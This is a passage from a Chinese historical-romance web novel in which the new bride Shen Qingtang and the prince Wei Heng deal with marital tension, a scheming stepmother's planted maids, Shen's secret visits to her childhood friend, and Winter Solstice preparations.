沈青棠倏地愣住。 她想咬伤魏珩，想让他破皮见血，鲜血淋漓。 可她也只是平民百姓，说到底还是惜命，不敢冒犯皇嗣，生怕魏珩有个三长两短，会连累到她匪寨里的亲朋好友。 沈青棠不敢再动了，自己没再合拢牙齿，加重那一颗狰凸小核上的咬痕。 少顷，她装作若无其事的模样，小心翼翼松开嘴。 许是为了赎罪，沈青棠还下意识伸舌一舔，讨好地抚平那点深重的齿痕，祈求魏珩的原谅。 但很可惜，男人的喉骨冷硬，齿痕也深重，怎么都磨不平，润不化。 沈青棠殷勤地舔了两口。 魏珩的颈肉没有味道，唯有一缕霜雪似的清凉涩口的香气，萦绕于她的唇间。 而男人受到那点撩拨，脖子上青筋突起，鼓噪地震颤着，似是一把蓄势待发的弓弩。 魏珩没想到沈青棠胆大至此，竟敢三番两次撩拨他，一时间凤眸微眯，意味深长地凝着自家装乖的小妻。 沈青棠顶着魏珩那冷嗖嗖到几欲杀人的狠戾目光，再傻也该知道，她惹到魏珩了。 沈青棠不敢再装傻，她慌忙想法子爬起身。 可绸衾太滑，她无处借力，一起身就跪下，三番两次跌到魏珩的怀中。 天呐，她真的没想再欺负魏珩！ 沈青棠心如死灰，已经不敢去看魏珩黑沉如锅底的俊脸。 “王、王爷，我不是存心冒犯你……” 几息之后，沈青棠终于找到了支撑的床围。她艰难地直起腰，诚恳地道歉：“王爷，你是不是被我磕伤了？实在对不住，黑灯瞎火，我看不清，没留神下了嘴……你的伤口很疼吗？我找药膏给你敷一敷？” 沈青棠作势要帮魏珩揉抚脖颈。 伸手的一瞬间，那一截白皙丰盈的皓腕，却被魏珩凶悍地擒在手中。 魏珩遏制住妻子接二连三的冒犯，用力地捏住她的手骨。 男人下手很重，几条琳琅玉指横于沈青棠的雪肤之上，不像是床笫间的调情，倒像是蓄势待发的惩处。 魏珩垂下既长又密的眼睫，拎着猫崽子一般，不近人情地将她吊高、提远，“沈青棠。” 沈青棠茫然：“啊？” 魏珩想到此前她饥.渴地自.渎，心中了然。 他擒人的手劲儿更重，薄唇微启，极尽讥讽，“……你就这么欲.求不满？” 沈青棠呆住。 她没明白魏珩在说什么。 沈青棠虽说和教习的嬷嬷学过夫妻敦伦之事，亦知男子精.元能令女子怀孕，可她并不知晓这些床帏里的荤话，这是得夫君慢慢调教才能开窍的蜜语。 沈青棠愣了许久，终于反应过来……魏珩误以为她方才粘缠的行径，全是床笫间的邀欢，他以为她想与他行房。 沈青棠欲言又止。 她总不能解释，刚才之所以咬伤魏珩的脖颈，是她起了“谋杀亲夫”的恶念，想让他也疼上一回吧？ 沈青棠不说话，魏珩便以为她还有几分廉耻之心，眼见着色.诱之法被人识破，不敢轻举妄动。 好歹是明媒正娶的妻子，魏珩即便不喜女子近身，也不好将她丢到屋外。 况且，是他自讨苦吃，非要留宿于此。 思及至此，魏珩深吸一口气，终是冷着脸，“夜深了，睡吧。” 随后，他松开手，任由娇小的妻子落到柔软蓬松的被衾上，再如同圆溜溜的毬球一般骨碌碌滚到了拔步床的最里侧。 7、第七章 第七章 翌日，支摘窗外的腊梅被刺目艳阳照入屋舍，泼了一地稀疏花影。 黯沉的花枝晃动人影，亦惊扰到榻上熟睡的魏珩。 男人肤白唇红，神清骨秀，闭目昏睡时，乌发铺陈满枕，平添几分清俊萧疏的淡漠，倒将那一重凛冽迫人的杀意减轻不少。 倒是奇怪，魏珩素来枕戈待旦，夜里警惕得很，偏偏今夜回府，能睡得这样沉。 兴许是家宅里布满唯他马首是瞻的亲卫，又或许是知道床榻上蜷着的这个小妻子手无寸铁，亦无缚鸡之力，她伤不了他。 魏珩施施然睁眼，手刚要动，却听得一声不满的哝咛。 独属于女子的山桃香气徐徐渡来，馥郁甜腻的香息直灌入人的口鼻，充盈肺腑。 不等魏珩起身，他忽觉胸膛滚沸，如覆一帖熏烤到热乎乎的膏药，烫得人几近失神，竟是沈青棠趴在了他的怀中。 女子的身材娇小，体重也轻，像一只晒太阳的惫懒长毛猫，摊在魏珩的身上呼呼大睡。 沈青棠趴伏在他的胸膛，那团被小衣裹挟的饱满雪腻也随之相贴，被男人那几块坚实的肌理挤压成饼，掠目一瞥，白得刺目，隐隐泛起青皮桃尖的红绒，软到好似捧了一手醍醐。 魏珩的气息微滞，沉沉闭眼。 他好歹是血气方刚的年轻人，晨欲最盛，怎会没有反应。 况且沈青棠睡觉实在不老实，两条纤细如草茎的胳膊死死缠着他也就罢了，竟还无知无畏地用脸轻轻捱蹭他的胸膛。 如此青涩的厮磨，自然令魏珩生出了燥意。 他意识到自己的阳气蓬勃，怕是会硌到人…… 魏珩深吸一口气，缓和了一会儿，强抑住那点不合时宜的意动，继而淡定拉下熟睡的沈青棠，披衣起身，命人于偏房备好凉水，供他沐浴擦身。 待魏珩浸进寒涔涔的浴池之中，他想到新婚夜的那场房事……他故意入而不泄，无非是不想让沈青棠怀子。 二人的婚事总会有和离的一日，多个孩子便多一份牵挂，于他，于沈青棠都不利，倒不如干净两清。 可沈青棠欲重，日夜撩拨，难免擦枪走火。 一次两次推拒便罢，再多怕是会惹人疑心……魏父假借沈家兄弟救命之恩，替魏珩求娶沈家女孩，便是要借助这一场“与庶族女子通婚”的婚姻，欺瞒南廷君主，也好私下谋事，措置粮饷，以备内战之用。 魏珩既与沈青棠成了亲，便要把这场婚事演得圆满，不愿流露丝毫端倪。 不过是几场房事，她想要，他便给。 反正不是他不行。 魏珩叩动池沿的手指顿住，抬手撩开湿泞的额发，吹响一记呼哨。 一只鼓羽振翎的苍鹰，自窗隙飞入，停至一旁的召鹰架上。 魏珩出水换衣，又取纸笔，写下几句军令，让信鹰送往军所，递给巫医。 魏珩曾听部将们说过，塞北外域为了防止王嗣从女奴的肚中爬出，研制过一种能供男子避孕的秘药。 军营里的巫医专擅此道，魏珩可以命巫医调配汤药，供自己服下，也好防止沈青棠诞下魏室子女。 虽说此事待沈青棠残忍，可牺牲她一人，便能让魏珩寻到机会，领兵南侵，继而统一周国，换取周国子民百年安稳……此为济世大善，沈家人一向忠义，定会宽宥谅解。 魏珩面无表情地扬手，漠然送走了那一只翎尾乌润的苍鹰。 魏珩白日还要去军所批文，唯有夜里留宿王府，陪沈青棠几晚。 他刚想唤人入内送衣，便有一名年轻丫鬟，捧着整洁的箭袖武袍、束腰蹀躞带，走进屋里。 来人正是姜氏赏到寒香院的通房丫鬟画月。 寻常的婢子见到魏珩，无不稽首敛目，两股战战，今日送衣的丫鬟，倒故作娇羞之态，频频对魏珩暗送秋波。 新熏的桂香、新簪的芙蓉绒花、新裁的冬袄。 为了讨魏珩的欢心，女子专程打扮过一番。 魏珩瞥她一眼，神色淡漠：“放下衣袍便出去。” 魏珩的逐客令下得干脆利落，倒唬了画月一跳。 画月不欲与小王爷作对，可她难得见到魏珩……特别是昨晚，魏珩回房入睡，却并未差人叫水，可见魏珩没有和沈青棠行房。 哪家爷们儿初初开荤，食髓知味，又一连旷了二十多日，还能憋得住的？ 除非……那个乡野来的王妃并不得魏珩欢心。 画月自以为机会来了，她不肯离开此地，反倒在魏珩面前跪下，娇羞地道：“奴婢心知，王爷在外行军多日，定是旷了许久，倘若王妃不能为王爷排忧解难，奴婢也可为王爷纾解……” 说完，她还颤颤伸手，意欲勾动魏珩的腰带。 此言一出，魏珩自然明白，她是来自荐枕席了。 看来昨夜魏珩没与沈青棠行房，倒让旁人以为，他与王妃感情不睦…… 魏珩目光晦暗不明，冷声道：“你并非寒香院的婢子。” 寒香院有罗嬷嬷看顾，不会放任这等口无遮拦的侍婢近前伺候，唯有姜氏会犯这样的蠢。 果不其然，画月抬起盈盈美眸，柔声回答：“奴婢是王太妃派来服侍王爷的。” 画月本想趁机暗示魏珩——她是长者所赐的通房丫鬟，可供魏珩享用、差遣。 可魏珩何许人也，画月越是强调自己是望山堂来的婢子，越讨他的嫌。 魏珩的耐心告罄，他嘴角噙着的那抹笑容渐淡，一双阴戾寒目，杀意渐盛，骇得人通体生寒。 魏珩嗓音沉肃，厉声呵斥：“来人！此女妄议王府内宅私事，拖下去乱棍打死！” 一番凶残冷酷的话语，顿时吓得画月面失血色，腿骨瘫软。 她再没有献媚的心情，涕泪横流地求饶：“王爷、王爷冤枉！是太妃命奴婢伺候王爷，全是太妃的一番好意啊！” 魏珩轻撩眼皮，眸中并无半分对于姜氏的敬重，闻言也只意味深长地道：“你来寒香院随侍，竟是奉了太妃之命？哪家婆母会在新妇刚进门，便急不可耐地往儿子院子塞人？这是不敬王妃，还是不敬本王？” 此等高帽落下来，当真是压得画月翻不了身。 画月目光发直，冷汗直冒……想也知道，这番话要是传到姜氏的耳朵里，为了保全与儿子那点不算牢靠的亲情，自然会牺牲她一个位卑言轻的小丫鬟，将这些话推到她身上，说是画月昏了头，竟在王爷面前胡说八道。 到时候，画月不仅担了一个“爬床”的罪名，还有“妄议尊长”的大不敬之罪！ 届时，单她一人身死不够，还得连累家中父母子侄！ “主子、主子饶命！” 画月哭得上气不接下气，连连叩首，磕得额角青红一片，隐隐渗血，盼着魏珩放她一条生路。 屋外的亲卫婆子听到动静，急忙入屋，拖走画月。 许是想给姜氏一个告诫，魏珩难得心生怜悯，不疾不徐地开口：“也罢，既是太妃的婢子，就由母亲领走处置……寒香院不缺奴仆伺候，凡是太妃送来侍奉的丫鬟，统统送回望山堂，听明白了？” “是。”奴仆们瞧着满地的血污，听着那凄厉入耳的哀嚎，哪敢生出什么悖逆之心？忙不迭点头应声，只盼着魏珩发落一场，能尽早消气，莫用这团愈烧愈烈的怒火，殃及池鱼。 - 沈青棠睡醒的时候，魏珩刚回屋里。 她迷糊睁眼，望着渐行渐远的高大身影，哑着声音问：“王爷，你怎么了？” 瞧着面色不善，好似要杀人一般。 魏珩见她一脸懵懂无辜，连被姜氏算计一场都不知情，不免一哂：“你身边何时添了几个不知分寸的小丫鬟？” 沈青棠茫然：“您是说画月、香梅吗？她们是太妃赏下来教我写字的丫鬟……是不是她们二人有哪处冒犯到王爷，令你心中不喜？” 教她写字……这般拙劣的借口，沈青棠竟会相信。 魏珩心知，沈青棠倾慕他，定不喜旁人近他的身。 可见沈青棠当真不知，那两个丫鬟居心不良，极有可能是姜氏派来侍奉魏珩枕席的通房。 平心而论，魏珩虽不喜沈青棠，却也不会允许继母肆意欺辱她。毕竟，比起姜氏，还是枕边妻子与他关系更近。 魏珩脸上的冷色淡去一些：“无事，只那两个丫鬟心太大，不好留你身边侍奉，我已命人将她们两个送回望山堂，日后不必再留院里。” “哦……”沈青棠没有在意太多，总归魏珩愿意处置这些家事，那就由他料理，她只当一个甩手掌柜。 沈青棠一早睡醒，肚子饿了。 她记起魏珩仍在屋里，对他卖乖地道：“这才卯时，王爷也是刚起吧？我喊秀珠去备膳……” 沈青棠趿鞋，作势要下地喊人，帮魏珩布置吃食。 没等她起身，她的手臂就被男人握住了。 魏珩淡道：“不必，我还要回军所批文。” 魏珩至多夜宿三晚，白天还是要回军所处理军务。 沈青棠呆了呆，没说话。 小姑娘先前还兴致冲冲要帮魏珩安排早膳，听到他得回军所务公，顿时低头不语。 想也明白，沈青棠一定是知他要走，心里难过了。 别在他面前哭哭啼啼。 魏珩薄唇微抿，细思片刻，从怀中摸出一枚鹰哨，递给沈青棠：“若你有事，可用此哨召鹰，给我送信。” 他难得给沈青棠一点甜头，好让她收住那点摇摇欲坠的眼泪。 可沈青棠低头无言，并不是伤心欲哭，她只是想到赵王的早膳会多两道汤品，四道糕点，她想尝尝，又不知该寻什么借口留下魏珩…… “好了，军务在身，我不能久留。若你困倦，可再回榻上歇会儿。” 许是怕沈青棠像个孩子似的粘缠人不放，魏珩说话的语气堪称和颜悦色，甚至还有一点自己都未曾觉察的诱哄。 沈青棠接过尚有余温的鹰哨，望着魏珩渐行渐远的背影，眨了眨水灵灵的杏眼。 她忽然觉得……魏珩人还不错，竟知袒护新过门的妻子。 这门婚事好像也没沈青棠想的那么糟糕。 - 另一边，望山堂。 画月、香梅两个丫鬟被罗嬷嬷亲自押回花厅，吓得姜氏够呛。 姜氏又不是聋子瞎子，哪里不知昨晚魏珩回府的事？想来这两个丫鬟，就是被魏珩发落来的。 罗嬷嬷老神在在地行礼纳福，“老奴给太妃请安，老奴奉王爷的命，将这两名‘妄议王府’的刁奴领来给太妃处置。王爷说了，两个奴婢嘴上说是奉了太妃的命，专门教导王妃习字，哪知心怀鬼胎，竟起了爬床上位的心思，还被王爷抓了个正着。” “想也是笑话，王爷王妃新婚燕尔，正是浓情蜜意之时，太妃又岂是那等小家子气的市井恶婆，怎会往儿媳院子里塞人随侍？可见是奴婢性恶，生出狗胆亵渎王爷！这是不顾王妃的脸面，亦是不念王府的恩情，这等不孝不悌的下贱东西，拖出去诛三族都嫌脏手！” 罗嬷嬷一通申饬，瞧着是帮姜氏洗清嫌疑，却也是故意给她没脸。 谁人不知，姜氏从前是姜家庶女，也曾被罗嬷嬷管教过一遭。 先太妃死后，姜氏即便喝药绝嗣，也要填嫡姐的房，爬姐夫的床，这点腌臜事，自然瞒不过罗嬷嬷这般的老人。 姜氏最怕这位老嬷嬷，也最恨这位老嬷嬷。 在罗嬷嬷面前，姜氏真是连一块遮羞布都没有。 只罗嬷嬷有魏珩罩着，姜氏动她不得。 姜氏一张脸铁青，她怎么都没想到，魏珩竟会为沈青棠出头……可见是此女使了什么狐媚手段，故意撺掇夫婿来打婆母的脸！ 偏偏老王爷仙逝，府上再没给姜氏撑腰的人。 她不过是个无子的继母，往后还得看魏珩的眼色，方能有个好日子过，又哪里敢和这个便宜儿子生出嫌隙？ 姜氏忍了许久，硬生生挤出一个尚且和善的笑容，“这两个丫头真是吃了熊心豹子胆，竟生出这般野心，当真丢尽了咱们赵王府的脸！来人，将她们两个杖责三十，再喊牙婆过来，一家子拖出去发卖了事！” 姜氏一口气说完，又抚了抚胸口，喊来刘妈妈，叹道：“是我对不住青棠，倒教她刚进门就受了这等委屈……刘妈妈，你去库房里拿十多盏官燕、几套海八珍，另添一条御风的紫貂皮子，送去寒香院，也好安一安青棠的心。” 这一次，姜氏出手不可谓是不大方。 毕竟罗嬷嬷的话儿都撂在那儿了，若她不出手阔绰一点，岂不是应了那句“小家子气”？ 姜氏和那位死去的嫡姐攀比惯了，最受不得这样的讥讽……凭什么她是庶女出身，就得眼界浅，眼皮底子浅了？ 再说了，嫡姐再如何厉害，还不是早早死在姜氏前头？就连夫婿也成了她的掌中之物。 罗嬷嬷对于姜氏的心思，那是门儿清，可恨她养大的姐儿去得太早，否则她怎要看着这样的腌臜货色在王府里作威作福。 罗嬷嬷掩去眼底的痛意，跟着刘妈妈走向库房，取走那些赏赐之物。 她只盼着这位刚进门的王妃沈青棠争气一些，早早为魏珩诞下一位能够支应门庭的小主子。 - 檀州军所。 议事完的柳云舟两次三番抬头，盯着上首的魏珩不放。 魏珩的脖颈处，不知何时横陈了一枚入肉三分的齿痕。 看牙口窄小，应是女子所为。 这几日，魏珩赶回王府，想来是与那个农家小妻子同床共枕。 不是说小王爷极其厌恶此女么…… 既如此，魏珩的脖颈上为何会留有这样一枚放浪形骸的情痕？ 怕不是魏珩嘴上说讨厌妻子，明年连孩子都生出来了？ 8、第八章 第八章 魏珩从来不管庶务，此次冲冠一怒为红颜，倒真是吓了阖府一跳。 众人细细一品，回过味来。 比起继母，自然是枕边妻子更为重要。 魏珩身为王府主子、北道四州的土皇帝，他肯为沈青棠出头，便是代表了他护妻的立场。 想通这一点，此前怠慢过沈青棠的公灶奴仆、王府婆妇，一个个抖若筛糠，后悔不迭。 他们试图弥补过错，平时送膳不但用汤茶盒子保温甜碗子，还用几只夹层里灌满热水的孔明碗，煨着那些浓油赤酱的荤肉，免得天寒地冻，肉油凝固，饭食吃起来腻得慌。 秀珠身为寒香院的一等丫鬟，又是最得沈青棠倚重的奴婢，如今借了魏珩的势，出门在外被那些仆妇们一口一个“秀珠姐姐”唤着，比望山堂的刘妈妈还要得脸。 秀珠端着一盏清润可口的七宝擂茶，奉给梨木椅子上的罗嬷嬷，不解地问：“祖母，您是府上的老管事，只需一句话发落下去，公厨的婆子们见您的面子，哪个敢慢待王妃，又为何非得等王爷回府，捅破这些个腌臜事？” 秀珠年纪轻，只觉得自己立不起威信，连公灶那些偷奸耍滑的婆子都压制不了，还要主子们出头，实在丢脸。 可罗嬷嬷却端茶啜饮，笑了一声：“主子家的事情，咱们做下人的，怎可妄议？还是得看看王爷的态度……他若偏疼王妃，帮着王妃出头，咱们也就殷勤一些，多为王妃跑腿。若他不愿出面，冷待王妃，咱们也就干好本分事，旁的莫要多说多问。” 罗嬷嬷的意思很明白，秀珠再如何喜欢沈青棠，她也是赵王府的家生子，是魏珩麾下的奴仆，自然得和主子一条心。 况且，不让魏珩亲眼瞧见沈青棠受欺负，又怎能激起男人的怜心，诱他多回府替自家小妻撑腰？ 罗嬷嬷知道魏珩待沈青棠有几分怜香惜玉的心思，知道他并非待沈青棠无意，也就放下心了。 一个男人开始在意一个女人，便是情愫渐生的开始。 魏珩是先太妃的骨血，罗嬷嬷怜爱旧主，当然盼着魏珩家宅安宁，早日开枝散叶，让姐儿的血脉得以延续下去。 - 魏珩军务繁忙，说好只是白日上军所批文，偏偏侦查敌情的斥候队伍前来禀报——塞外契丹前战铩羽，心存不甘，隐有犯边异心，当严加防戍。 魏珩紧急前往关隘，临走前还让扈从往府上递话，说是两日无暇归家，尽量赶在冬至家宴之前回府，陪王妃过节。 得知魏珩又得离家数日，寒香院的奴仆各个蔫头耸脑，言谈谨慎，生怕嘴上没把门，说了什么不该说的话，惹得沈青棠伤神。 可沈青棠并未伤怀，甚至感到放松。 上次她归府及时，没有被人发现，但也从这件事上觉出魏珩的敏锐凶恶…… 外出一事绝对不能暴露。 否则她再想出府，给那些匪寨的亲朋好友送钱送食，就没这么容易了。 隆冬天，难得放晴。 婆子们取出后罩房的旧被冬衣，挂院子竹竿上晾晒。 有几件裹了芸香草香囊的缎袍，防住雨潮，却没能防住衣鱼蠹虫，棉花夹层被虫子蛀开几个大洞，不能穿了。 婆子们作势要丢到火塘里焚毁，沈青棠觉得可惜，忙道：“别丢了，拿到屋里吧……既是王爷的旧衣，我也好看看尺寸，比照着棉袍，给王爷裁几身冬衣。” 后宅妇人笼络夫婿的法子，无非是裁衣制靴，烹茶送饭，仆妇们不疑有他，听从沈青棠的吩咐，把那些旧物挪到了屋子里头。 沈青棠一个人在寝房里忙碌，拆布、拆棉絮、拆毛领子。 沈青棠知道有些袍缎花纹独特，不能在外单穿，但夹层里头的衣布花色寻常，且能兜住棉花，质地极其厚实柔滑，用来裁比甲、直裰、护膝，最合适不过。 沈青棠分门别类，将那些可用的料子、缎布，装到包袱里，想着趁魏珩不在府内的时候，拿去给许砚、许婆婆制衣穿。 夜里，沈青棠再度偷溜出王府，来到荒山。 她本以为许砚回了书院，不在家中过节，谁知今晚过去，竟再次看到了许砚。 少年郎似是刻意等候沈青棠，见她的第一眼，眸子发亮，但很快他想到上次的不愉快，又倔强地抿唇，偏过头去。 沈青棠见了，吃吃地笑。 许砚少时就是这么个犟性子，从前体弱，他老是待在屋里头喝药。 匪寨的孩子们笑话他跟个小娘们似的闭门不出，还要挨沈青棠一顿胖揍。 可沈青棠出头归出头，却也没和那些孩子闹掰，小伙伴们再来喊她爬树摸鱼，她还是会高高兴兴地去，跑得比谁都快。 这种时候，许砚就怨恨沈青棠不站在他这边，使起小性子呆坐屋里发脾气。 即便沈青棠回家的时候拎来一桶小鱼、一把山核桃，给许砚炖汤喝，他也不理她。 最后，还是沈青棠连着两三天不再上门找许砚玩，他才服了软，端着许嬷嬷蒸的枣泥糕，跑去和沈青棠求和。 好比今日，许砚都回到书院了，还巴巴的上山，就想看看能不能再遇到沈青棠。 沈青棠从小就是个没脾气的小姑娘，她视许砚为家人，姐弟哪有隔夜仇，也不和他怄气。 看到许砚过来，沈青棠热情地对他招招手，唤他靠近：“阿砚过来，试试这块狐毛料子，我瞧着毛色不错，给你裁一条毛领子正好。还有这个冻疮膏，你手上起了红疹，再不涂点膏药，怕是会起冻疮……” 许砚任由沈青棠摆布，许是靠得太近，他还嗅到了沈青棠身上渡来的温热山桃香气…… 许砚不自在地垂下眼睛，小声道：“青青姐，王爷时常在外行军御敌，他是不是很少回府？” 昨日，许砚下山购置粮米，恰巧见几名身穿黑甲骑戎的将士，策马于城中街巷穿行。 听粮铺掌柜说，打前头的那个高大男人，便是北境藩王魏珩。 许砚第一次见魏珩，远眺一眼，确实生得魁梧英武，只面冷沉肃，瞧着并不是好亲近的人。 魏珩与沈青棠新婚燕尔，本该成日缠绵家宅，他竟能舍下妻子离城数日，可见他对阿姐也不够温柔亲善，也不够上心。 这样的男人，又怎可能是良配。 沈伯父竟将阿姐许配给这样的男人…… 许砚隐生不甘，又不敢细想其中的情愫。 倒是沈青棠想好了手上几条皮草的用处，对许砚道：“算是吧……王爷公务繁忙，我身为家眷，自该体谅。唔，别说这个了，我看这条兔毛皮子不错，你什么时候回书院，顺道拿去给鞋铺的绣娘，让人帮忙纳一双厚实的鞋底给许婆婆，这样她冬天喂鸡就不冻脚了。” 许砚：“青青姐，若你婚后的日子过得不好，你就和王爷和离吧……我、我会努力养你，让你过上好日子。” 闻言，沈青棠噗嗤一笑，拍了拍少年郎的肩膀，语重心长地道：“嗯，阿砚确实长成能独当一面的男子汉了，阿姐很是欣慰。若阿姐真的过得不顺心，日后没了去处，一定来投奔你，只盼着阿砚和弟妹大发慈悲，莫要将我扫地出门呀！” “怎会呢……什么弟妹，我也不会娶妻！” 沈青棠没和少年郎多玩笑几句，她瞥了一眼炕桌上用黑布覆着的长剑，信手一抽。 铮的一声。 锐剑出鞘，寒芒乍泄。 那是许叔留下的宝剑。 许砚作势要去抢，却被沈青棠旋着剑鞘，格挡回去。 许砚踉跄两步，心中不甘，又怕挨沈青棠的骂，毕竟阿姐不愿他习武从军…… 沈青棠看着这把被擦拭得锃亮的长剑，轻叹一口气：“阿砚，你一直私下偷偷练剑，对吗？” 许砚闻言一怔，良久无言。 许家是流匪出身，即便帮忙守城杀敌，也到底不是良民。朝堂认定这些山寇流匪是大奸大恶之徒，不愿给战死的弟兄抚恤金，倒是老王爷体恤边民不易，时常派下赏银，接济那些无家可归的流民百姓，匪寨的老人孩子们才能有个容身之所。 这也是许父盼着许砚好好读书，像个寻常百姓那般成亲生子，莫要习武从军的原因。 沈青棠拍了拍许砚的肩膀，笑道：“走吧，咱俩去后山过几招。” 北地多雪，山中松柏累积厚厚冰棱，光是瞧着都刺骨寒冽。 沈青棠想着逗弟弟开心，非要与他比试一场。 她手持一根掰折的青竹，执于掌心，拟作长剑。 随后，沈青棠笑弯杏眸，朝着远处持剑的小少年，古灵精怪地勾勾手指：“来啊，打赢了姐姐，姐姐就许你一样礼物。” 许砚的生辰快到了，沈青棠想趁此机会，送他一样贺礼。 许砚有心在沈青棠面前表现，此次出招，并未留情。 少年人的剑法利落，身随剑动，舞若游龙，不过拧腕旋剑，便扫开雪浪千层。 可沈青棠自幼研习拳法，虽说没有沈父那般厉害，但等闲的毛贼悍匪都拿她没办法。 她看清了许砚出招的架势，辨出方向。 女孩足下轻点，踏浪而去，借着一旁松柏的枝桠，蓄势旋棍，猛地一下击上许砚背心，砸得他闷哼一声压抑的痛吟。 沈青棠有意调教弟弟，也好教他知道战场险恶，下手可谓十足狠辣。 许砚也知她动了真格，眉眼一沉，屏息凝气，再度势若奔雷，挟风刺来。 噌的一声。 刀棍相击。 长剑迸发耀眼焰芒，削开竹棍的粉屑。 沈青棠极擅弓马，却不擅长与人持械缠斗，不过三刻钟，她的颓势尽显，一时落得下风。 而许砚本就喜爱钻研剑术，如今燃起锐进的战意，更是渐入佳境，他的斗心渐盛，一个不经意，竟狠心劈折了沈青棠手持的竹竿，毁去她的护身武器，迫她后退了两步，半跪到雪里。 沈青棠半条腿陷进雪地，她抛开裂成竹花的竿子，扶膝急喘，“我不成了，你赢了！说吧，阿砚想要什么样的生辰礼？” 许砚望着抬手抹去额头热汗的美丽少女，凝着她那张艳得惊人的檀唇，低声说：“我……我想让青青姐编一条剑穗送给我。” 沈青棠大方应下：“好啊，这有何难。” - 后天便是亚岁宴，王府每日都在试新鲜菜品，觉得好吃的糕点汤盅，还会往寒香院送去一些。 那一摞用来烧给老王爷的经文，沈青棠还没抄完。 沈青棠敬重这位保家卫国的老爷子，不愿怠慢逝者，即便她书法拙劣，还是尽心竭力地描摹那些经文上清隽娟丽的字迹，想敬一份孝心。 沈青棠抄经的竹纸用完了，又舍不得花自个儿的钱去买，问了秀珠，说是魏珩外书房存着许多裁好的竹纸与宣纸，可以过去拿上一摞。 “王爷的书房，我未经通禀，能随意进去吗？” 秀珠笑道：“王妃是王爷发妻，府上何处是王妃去不得的？再说了，军机要务都储存于内书房，不过是去外书房取几卷竹纸，不妨事的。” 闻言，沈青棠便也放下心来。 她依言迈入外书房，抽了一沓新裁的竹纸。 许是手上动作太快，撼到一旁积灰的木匣。 匣子落地，锁扣打开，滚出一只彩陶水鸭、绒花、还有一些琉璃珠子，加之几封泛黄的信件。 沈青棠慌张去拾那些信，拍灰的时候，她看到了信纸上的内容。 “珩表哥，见字如晤。初夏的时候，我随小叔去了一趟益州，喝了蒙山茶、蜀茶，还尝过用井盐调味的辣子鸡，菜品的味道很好，有机会教给府上厨子，也好让你也尝上一口。” “珩表哥，快要入冬了，北境好冷，真想赖在南地不回来，可我一直留在外头就见不到你和三姑姑了，还是勉为其难回来一趟吧！南地的腌笋味道可好了，到时候我带两坛子送你。” …… 沈青棠扫过两眼，见信上有字有画，猜也是活泼的女孩家写给魏珩的信笺，只是纸张陈旧，想来也有年头，并不是近日递来的书信。 沈青棠又看了一眼落款的名字——姜若水。 姜家的女孩儿？ 难怪这般热情地喊魏珩为“表哥”呢！ 沈青棠看着写得满满当当的信，即便信上什么都没说，她也能瞧出来，这位姜家表妹，待魏珩应是很有好感。 青梅竹马，两小无猜。 可魏珩最后却奉了父命，娶她为妻。 一时之间，沈青棠也不知该说什么好……不过她想，魏珩从前贵为王世子，如今又是北境亲王，若他当真不满这场婚事，属意这位姜家表妹，定会跟魏父据理力争，另娶旁人。 魏珩既娶了沈青棠，定是对沈青棠有意，也想着与她白头偕老。 否则魏珩身为皇亲国戚，又何必为了偿还那点父恩，与她一个乡下农女沾上什么牵扯？ 沈青棠知道，夫妻之间，最忌猜疑，她得相信魏珩，不要闹得夫妻失和。 想到这里，沈青棠收起信件，再度将这些小玩意儿锁进匣子里，妥善放好。 只是，在沈青棠抱着那卷散着竹香的白纸回房时，心中仍会忍不住猜想——待她这般疏离淡漠的魏珩，待那位姜家表妹会有不同吗？看着生人勿近冷若冰霜的魏珩，也会因姜家表妹那几封生动童稚的家书，而心情愉悦，顺道提笔答复她那几封絮絮家书吗？ 9、第九章 第九章 冬至大如年，不单是冬至那天要设宴，前一天也得吃上几样应景的饭菜。 南地湿寒，百姓喜欢喝汤汤水水，口味又嗜甜，一般都是吃馄饨或者是赤豆圆子。 而北地干旱阴冷，百姓喜酸，一般吃饺子、黍米糕，还会拿羊肉、阴干的冬至肉涮热锅子吃。 晚上，罗嬷嬷送来北道世家大族的谱牒名录，好让沈青棠过目，确认一下人丁数目，再以她赵王妃的名义，给各地衙门官吏、豪族门阀，送去王府恩赐的“胙肉”，以示嘉奖。 除此之外，还要命公灶的婆子，取糯米粉捏成鸡、鸭、龟等等代表福禄长寿的动物，置于蒸笼蒸熟，再摆到祠堂祭奠。 忙好这些，沈青棠总算得以回房用膳。 晚上吃的是汤圆，裹了核桃碎、桂花、芝麻，还用枣泥染色，搓成一颗颗红彤彤的小球。 沈青棠吃了一碗冬至圆子，还被秀珠催着用了一碗姜母鸭汤。 “王妃一定要喝完鸭汤，这是罗嬷嬷吩咐公灶炖的番鸭，添了当归、黄芪、人参、黑枣，可暖胃补肾，益气养颜。” 即便秀珠没有明说，沈青棠也懂了她的暗示。 这是盼着沈青棠养好身体，好与魏珩行房，诞下子嗣。 但魏珩不好此道，罗嬷嬷抱小主子的念想怕是要落空了。 长夜漫漫，沈青棠摸不准魏珩夜里会不会回府。 她的经书还没抄完，倒不如秉烛誊写几卷再睡。 沈青棠刚喝完油腻的鸭汤，她取草药混成的牙膏漱齿，再沐浴擦身，换了一身柔软合度的鹅黄牡丹纹寝裙。 屋里燃着无烟的银炭盆，地上铺陈绒毛软毯，温暖如春。 紫檀桌案置着竹纸、经文、笔洗、砚台，一侧还摆着一碟开酥的莲蓉饼、一壶茉莉清茶。 沈青棠不是个能静下心习字的性子，若是没备点糖果子、甜糕，她怕是连一刻钟都坐不住。 沈青棠抄一会儿，吃一会儿，这般哄自己写字，竟也真的撑了一个多时辰。 待魏珩策马回府，一进寒香院便看到远处黄澄澄的烛光。 虚掩的房门里，沈青棠坐在桌前。 她的身姿窈窕，背影纤瘦，背着人的时候，坐得不太端正，甚至软在桌沿，像一只睡饱了发懒的雪毛狸奴。 烛焰亮堂，火光煌煌，照得她一双杏眸明亮，姣如月下清潭。 许是抄经累了，沈青棠搁笔，一手捏着酥皮糕点，另一手托着下巴，也好接住那些掉下的酥皮。 吃完糕饼，沈青棠又捻来沥干的湿帕子，将那些粉屑都擦拭干净，咽下一口清茶，这才继续执笔抄经。 还挺讲究。 魏珩扯唇一哂，推门入内。 房门洞开，沈青棠的面前冷不丁站着一袭高大威武的身影，将她吓了一跳。 沈青棠看了一眼，竟是魏珩，她愈发感到脊背发凉，汗毛倒竖。 这是烧给魏父的经书，要是让魏珩知道，她这般大不敬地抄经，他会不会怪她无状？ 沈青棠双目僵直，一时之间不知是要先清理桌上的糕饼，还是收起那一纸墨迹未干的经文。 魏珩瞥了一眼桌上所剩无几的点心，又看向沈青棠那一纸歪歪斜斜犹如三岁稚童的“烂字”，即便他有心敷衍几句，亦夸赞不出一句“端秀流丽”。 